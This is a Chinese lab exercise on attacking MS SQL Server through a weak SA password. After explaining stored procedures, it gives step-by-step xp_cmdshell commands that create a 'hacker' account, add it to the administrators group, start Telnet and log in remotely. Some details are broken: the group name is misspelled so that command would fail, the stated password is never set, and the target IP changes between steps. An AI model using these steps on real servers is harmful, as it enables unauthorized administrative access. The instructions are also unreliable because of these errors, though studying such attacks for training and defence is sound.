2024年3月6日发(作者:)

分析MS SQL Server 弱口令攻击

实验目的:熟悉MS SQL Server弱口令攻击原理和过程

实验环境:WINDOWS2000+MS SQL Server

实验工具:SQL查询分析器

实验步骤:

(1) 利用X-Scan扫描目标主机发现SQL Server的SA有弱口令。

Microsoft SQLServer是一个c/s模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。我们都知道,在网络中Microsoft SQLServer的入侵最常见的就是利用SA弱口令入侵了,而核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限,那到底什么是存储过程?为什么利用它可以获得系统管理员权限?

存储过程是存储在SQLServer中的预先写好的SQL语句集合,它分为三类:系统提供的存储过程,用户定义的存储过程和扩展存储过程。

系统提供的存储过程是在安装SQLServer时创建的存储过程,名字以"sp_"开头。

用户定义的存储过程是用SQLServer的使用者编写的存储过程。

扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,与一般动态链接库不同的是它们直接运行在SQLServer分配的内存地址内,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令。

(2) 单击“开始”|“程序”|Microsoft SQL Server|“查询分析器”,打开“SQL查询分析器”窗口,单击“运行”

(3) 输入目标主机IP(例如:192.168.2.125),SA的密码XX(例如sa),单击“确定”,连接目标主机。

(4) 在“查询”窗口中输入:xp_cmdshell’ net user hacker /add’参数,将目标主机添加一个用户名为“hacker”,密码为“hacker”的用户。

(5) 单击“运行”后,结果窗口出现命令执行成功的提示。

(6) 在“查询”窗口中输入xp_cmdshell’net localgroup adminidtrators hacker/add’参数,将目标主机中的“hacker”用户添加到本地administrator组里。

(7) 单击“运行”按钮后,结果窗口出现命令执行成功的提示。

(8) 在“查询”窗口中输入xp_cmdshell’net start telnet’参数,将目标主机中Telnet服务启动。

(9) 单击“运行”后,结果窗口出现命令执行成功的提示。

(10) 单击“开始”|“运行”,输入cmd,打开“运行”对话框。

(11) 输入以下命令telnet目标主机ip(例如:192.168.16.125),观察结果。

(12) 输入前面创建的用户名和密码

(13) 按Enter键后,Telnet登陆成功。